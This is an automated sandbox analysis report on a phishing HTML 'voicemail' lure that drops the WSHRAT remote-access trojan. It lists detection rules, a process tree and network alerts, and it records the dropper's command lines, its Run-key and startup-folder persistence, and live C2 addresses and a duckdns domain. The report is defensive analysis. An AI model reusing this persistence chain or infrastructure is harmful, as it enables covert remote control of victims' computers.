Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Voicemail Jud.html

Overview

General Information

Sample name:Voicemail Jud.html
Analysis ID:1439837
MD5:3d9479b1e6201aa32a6b812f02482b38
SHA1:5c595ea2e25dd799e11a31e7df0d5744de21ff58
SHA256:427fb9938ca75db1a362fe51356a1dc06350daa5f9db788a4ca2f7e2cb21fd34
Infos:

Detection

WSHRAT
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Sigma detected: Drops script at startup location
Sigma detected: Register Wscript In Run Key
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected WSHRAT
Blob-based file download detected
Connects to a pastebin service (likely for C&C)
Contains VNC / remote desktop functionality (version string found)
Downloads suspicious files via Chrome
Drops script or batch files to the startup folder
Found suspicious ZIP file
HTML document with suspicious name
HTML document with suspicious title
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Sigma detected: WScript or CScript Dropper - File
Suspicious execution chain found
Uses dynamic DNS services
Uses known network protocols on non-standard ports
Uses the Telegram API (likely for C&C communication)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript called in batch mode (surpress errors)
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to query the security center for anti-virus and firewall products
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Found WSH timer for Javascript or VBS script (likely evasive script)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Sigma detected: Script Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • chrome.exe (PID: 4948 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Voicemail Jud.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 4628 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2292,i,17443918596644864279,4892845659542734896,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • unarchiver.exe (PID: 6944 cmdline: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip" MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)
      • 7za.exe (PID: 2936 cmdline: "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\2otik2vy.ast" "C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)
        • conhost.exe (PID: 6096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 6952 cmdline: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 7092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • wscript.exe (PID: 7076 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" MD5: FF00E0480075B095948000BDC66E81F0)
          • wscript.exe (PID: 1544 cmdline: "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js" MD5: FF00E0480075B095948000BDC66E81F0)
  • wscript.exe (PID: 7100 cmdline: "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
  • wscript.exe (PID: 6008 cmdline: "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
  • wscript.exe (PID: 6964 cmdline: "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
  • wscript.exe (PID: 6936 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New Voicemail May 9 _mp4.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Houdini, WSHRATHoudini is a VBS-based RAT dating back to 2013. Past in the days, it used to be wrapped in an .exe but started being spamvertized or downloaded by other malware directly as .vbs in 2018. In 2019, WSHRAT appeared, a Javascript-based version of Houdini, recoded by the name of Kognito.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.houdini

Malware Configuration

⊘No configs have been found

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_WSHRATYara detected WSHRATJoe Security

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.jsJoeSecurity_WSHRATYara detected WSHRATJoe Security
      C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.jsINDICATOR_SUSPICIOUS_JS_WMI_ExecQueryDetects JS potentially executing WMI queriesditekSHen
      • 0x96654:$ex: .ExecQuery(
      • 0x96e8f:$ex: .ExecQuery(
      • 0x96fc7:$ex: .ExecQuery(
      • 0x97120:$ex: .ExecQuery(
      • 0x999d0:$ex: .ExecQuery(
      • 0x95eff:$s1: GetObject(
      • 0x96633:$s1: GetObject(
      • 0x96e6e:$s1: GetObject(
      • 0x96fa8:$s1: GetObject(
      • 0x970fb:$s1: GetObject(
      • 0x999b1:$s1: GetObject(
      • 0x97c58:$s2: String.fromCharCode(
      • 0x9972b:$s2: String.fromCharCode(
      • 0x99752:$s2: String.fromCharCode(
      • 0x9a03f:$s2: String.fromCharCode(
      • 0x9a078:$s2: String.fromCharCode(
      • 0x92fed:$s3: ActiveXObject(
      • 0x934f9:$s3: ActiveXObject(
      • 0x94d8f:$s4: .sleep(
      • 0x95455:$s4: .sleep(
      • 0x96883:$s4: .sleep(
      C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.jsJoeSecurity_WSHRATYara detected WSHRATJoe Security
        C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.jsINDICATOR_SUSPICIOUS_JS_WMI_ExecQueryDetects JS potentially executing WMI queriesditekSHen
        • 0x96654:$ex: .ExecQuery(
        • 0x96e8f:$ex: .ExecQuery(
        • 0x96fc7:$ex: .ExecQuery(
        • 0x97120:$ex: .ExecQuery(
        • 0x999d0:$ex: .ExecQuery(
        • 0x95eff:$s1: GetObject(
        • 0x96633:$s1: GetObject(
        • 0x96e6e:$s1: GetObject(
        • 0x96fa8:$s1: GetObject(
        • 0x970fb:$s1: GetObject(
        • 0x999b1:$s1: GetObject(
        • 0x97c58:$s2: String.fromCharCode(
        • 0x9972b:$s2: String.fromCharCode(
        • 0x99752:$s2: String.fromCharCode(
        • 0x9a03f:$s2: String.fromCharCode(
        • 0x9a078:$s2: String.fromCharCode(
        • 0x92fed:$s3: ActiveXObject(
        • 0x934f9:$s3: ActiveXObject(
        • 0x94d8f:$s4: .sleep(
        • 0x95455:$s4: .sleep(
        • 0x96883:$s4: .sleep(
        C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.jsJoeSecurity_WSHRATYara detected WSHRATJoe Security
          Click to see the 1 entries

          Memory Dumps

          SourceRuleDescriptionAuthorStrings
          0000000B.00000003.2053554395.0000000003517000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WSHRATYara detected WSHRATJoe Security
            0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WSHRATYara detected WSHRATJoe Security
              0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WSHRATYara detected WSHRATJoe Security
                0000000C.00000003.2093975107.00000000038A8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WSHRATYara detected WSHRATJoe Security
                  0000000B.00000003.2092992601.00000000052A8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WSHRATYara detected WSHRATJoe Security
                    Click to see the 65 entries

                    Sigma Signatures

                    System Summary

                    barindex
                    Sigma detected: Script Initiated Connection to Non-Local Network
                    Source: Network ConnectionAuthor: frack113, Florian Roth: Data: DestinationIp: 104.21.25.148, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 7076, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49772
                    Sigma detected: Script Interpreter Execution From Suspicious Folder
                    Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , CommandLine|base64offset|contains: Vzf, Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6952, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , ProcessId: 7076, ProcessName: wscript.exe
                    Sigma detected: Suspicious Script Execution From Temp Folder
                    Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , CommandLine|base64offset|contains: Vzf, Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6952, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , ProcessId: 7076, ProcessName: wscript.exe
                    Sigma detected: WScript or CScript Dropper
                    Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , CommandLine|base64offset|contains: Vzf, Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6952, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , ProcessId: 7076, ProcessName: wscript.exe
                    Sigma detected: WScript or CScript Dropper - File
                    Source: File createdAuthor: Tim Shelton: Data: EventID: 11, Image: C:\Windows\SysWOW64\wscript.exe, ProcessId: 7076, TargetFilename: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js
                    Sigma detected: Script Initiated Connection
                    Source: Network ConnectionAuthor: frack113: Data: DestinationIp: 104.21.25.148, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 7076, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49772
                    Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                    Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , CommandLine|base64offset|contains: Vzf, Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6952, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" , ProcessId: 7076, ProcessName: wscript.exe

                    Data Obfuscation

                    barindex
                    Sigma detected: Drops script at startup location
                    Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\wscript.exe, ProcessId: 7076, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New Voicemail May 9 _mp4.js

                    Persistence and Installation Behavior

                    barindex
                    Sigma detected: Register Wscript In Run Key
                    Source: Registry Key setAuthor: Joe Security: Data: Details: wscript.exe //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js", EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\wscript.exe, ProcessId: 7076, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\New Voicemail May 9 _mp4

                    Snort Signatures

                    Timestamp:05/10/24-21:33:11.552728
                    SID:2017516
                    Source Port:49802
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:33:50.098826
                    SID:2017516
                    Source Port:49809
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:34:08.142731
                    SID:2017516
                    Source Port:49812
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:00.451494
                    SID:2017516
                    Source Port:49781
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:34:25.740081
                    SID:2017516
                    Source Port:49815
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:33:28.102727
                    SID:2017516
                    Source Port:49805
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:18.321299
                    SID:2017516
                    Source Port:49785
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:47.103341
                    SID:2017516
                    Source Port:49797
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:34:01.098811
                    SID:2017516
                    Source Port:49811
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:34:31.206769
                    SID:2017516
                    Source Port:49816
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:29.388653
                    SID:2017516
                    Source Port:49790
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:33:33.603192
                    SID:2017516
                    Source Port:49806
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:41.618399
                    SID:2017516
                    Source Port:49796
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:33:39.095869
                    SID:2017516
                    Source Port:49807
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:33:55.568790
                    SID:2017516
                    Source Port:49810
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:12.519075
                    SID:2017516
                    Source Port:49783
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:33:17.054284
                    SID:2017516
                    Source Port:49803
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:33:04.905715
                    SID:2017516
                    Source Port:49801
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:33:44.596858
                    SID:2017516
                    Source Port:49808
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:06.998425
                    SID:2017516
                    Source Port:49782
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:23.793919
                    SID:2017516
                    Source Port:49789
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:36.094227
                    SID:2017516
                    Source Port:49795
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:34:13.595581
                    SID:2017516
                    Source Port:49813
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:34:20.217922
                    SID:2017516
                    Source Port:49814
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:52.908212
                    SID:2017516
                    Source Port:49799
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:33:22.607980
                    SID:2017516
                    Source Port:49804
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected
                    Timestamp:05/10/24-21:32:59.305277
                    SID:2017516
                    Source Port:49800
                    Destination Port:8426
                    Protocol:TCP
                    Classtype:A Network Trojan was detected

                    Joe Sandbox Signatures

                    Click to jump to signature section

                    Show All Signature Results

                    Phishing

                    barindex
                    HTML document with suspicious title
                    Source: file:///C:/Users/user/Desktop/Voicemail%20Jud.htmlTab title: Sign | Voicemail
                    Source: C:\Windows\SysWOW64\unarchiver.exeFile opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dllJump to behavior
                    Source: unknownHTTPS traffic detected: 23.221.246.93:443 -> 192.168.2.4:49746 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 23.221.246.93:443 -> 192.168.2.4:49747 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49748 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.25.148:443 -> 192.168.2.4:49772 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49773 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49775 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.25.148:443 -> 192.168.2.4:49776 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49777 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49779 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49784 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.25.148:443 -> 192.168.2.4:49791 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49792 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49794 version: TLS 1.2
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\userJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppDataJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\desktop.iniJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior

                    Software Vulnerabilities

                    barindex
                    Suspicious execution chain found
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeChild: C:\Windows\SysWOW64\wscript.exe

                    Networking

                    barindex
                    Snort IDS alert for network traffic
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49781 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49782 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49783 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49785 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49789 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49790 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49795 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49796 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49797 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49799 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49800 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49801 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49802 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49803 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49804 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49805 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49806 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49807 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49808 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49809 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49810 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49811 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49812 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49813 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49814 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49815 -> 45.133.174.75:8426
                    Source: TrafficSnort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.4:49816 -> 45.133.174.75:8426
                    System process connects to network (likely due to code injection or exploit)
                    Source: C:\Windows\SysWOW64\wscript.exeNetwork Connect: 45.133.174.75 8426Jump to behavior
                    Source: C:\Windows\System32\wscript.exeNetwork Connect: 149.154.167.220 443Jump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeNetwork Connect: 208.95.112.1 80Jump to behavior
                    Source: C:\Windows\System32\wscript.exeNetwork Connect: 104.21.25.148 443Jump to behavior
                    Source: C:\Windows\System32\wscript.exeNetwork Connect: 172.67.19.24 443Jump to behavior
                    Connects to a pastebin service (likely for C&C)
                    Source: unknownDNS query: name: pastebin.com
                    Uses dynamic DNS services
                    Source: unknownDNS query: name: masterokrwh.duckdns.org
                    Uses known network protocols on non-standard ports
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49782 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49783 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49789 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49790 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49795 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49796 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49797 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49799 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49800 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49801 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49802 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49803 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49804 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49805 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49806 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49807 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49808 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49809 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49810 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49811 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49812 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49813 -> 8426
